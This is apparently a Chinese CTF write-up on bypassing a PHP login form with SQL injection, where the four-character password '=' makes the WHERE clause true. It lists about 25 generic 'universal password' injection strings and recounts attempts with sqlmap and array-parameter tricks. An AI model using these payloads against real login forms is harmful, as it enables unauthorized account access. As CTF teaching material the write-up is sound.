可能做过CTF题的朋友们,都有一定的了解过Web登陆密码绕过这种类型的题目,绕过的方法也有很多,层次不穷,今天帮朋友的时候也遇到了这类型的题目,但是又非常的特别,网络上也是很少见的,特意分享出来一下。
题目:admin的密码非常长,但是有最短的方式绕过。
前台代码:
admin的密码非常长,但是有最短的方式绕过
绕过方法:这里用到的是SQL注入万能密码绕过:用户名为:admin,密码为:'='。
原理:原理就是用的SQL语句的查询注入漏洞。
内部的查询语句:
$sql = “select user from flag where user=’\$_POST[‘user’]’ and password=’\$_POST[‘password’]’”;
输入'=' 后,查询语句为:
$sql = “select user from flag where user=’admin’ and password=’‘=’‘”;
user='admin' 为真,而 password=''='' 也为真。
这样就相当于:
$sql = “select user from flag where 1 and 1”;
这样就爆出了用户,也拿到了flag。
如果题目没有限制用户名,我们也可以 user=''='' ,那样就能 爆出了所有的用户。
谈谈我绕过此题目的整个思路先申明一下,我解题前没有任何的源码?只有一个html页面的form表单,提交到index.php仅此而已。
第一步:先判断漏洞类型?
漏洞类型有很多,例如:xss 、SQL注入、密码学......等等。
我们打CTF时主要是判断此题目的考点方向是什么?
我看了此题目后,首先想到的就是PHP万能密码绕过(SQL注入),例如:
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
随意找了几个试了一下,结果以失败告终,提示“so Long",意思就是太长了。
同时,在这个步骤的时候,我也用 sqlmap 跑了一下表单post注入 ,结果提示是没有注入。
sqlmap没有注入只有两种情况:
1、真的是没有任何注入。
2、SQL语句写得非常好,其实也有注入漏洞,只是扫描不到而已。例如:
$sql = "INSERT INTO `test`.`users` (`id`, `username`, `password`) VALUES (NULL, \'fujieace\', \'123456\');";
第二步:判断密码允许输入的长度?
经过我输入用户名 admin,密码 123456789 不断的尝试,我发现一个问题,密码的长度只能4位及以下才不会报错,只要大于4位就会提示“so long"。
第三步:PHP sha1 md5绕过
由于我上面跑了sqlmap,先入为主的认为了没有SQL注入,既然是密码绕过,首先:我猜测是PHP MD5真等于和数值绕过,结果我试了,根本没有生成 4位 的字符串。说明姿势不对。
然后,我又猜测是PHP中sha1()函数和md5()函数的绕过,通过抓包以 user[]=admin&passwd[]=2 数组的方式去绕过,这下密码字符串都在 4位 以下了,结果给我报错如下:
Warning: addslashes() expects parameter 1 to be string, array given in /var/www/html/index.php on line 20
Warning: strlen() expects parameter 1 to be string, array given in /var/www/html/index.php on line 22
中文翻译
警告:addslashes()期望参数1为字符串,在第20行的/var/www/html/index.php中给出的数组
警告:strlen()期望参数1为字符串,在第22行的/var/www/html/index.php中给出的数组
说明姿势依然不对,经过我反复的尝试,我发现此代码的用户名和密码只允许字符串。
而且用户名用了addslashes()过滤,密码似乎没有用,因为我这里给密码传一个数组的时候,密码警告只有strlen();
第四步:综合分析
用户名是:admin,这是写死的。
密码只能是:等于小于4位,而且必须是字符串。
考点是:最短的方式绕过admin的密码。
再加上sqlmap扫描不到漏洞,说明sql语句写法很特别,估计还是SQL注入漏洞。其它的漏洞类型似乎也不符合这。
那就,只有一种很不常用的密码绕过方法:'='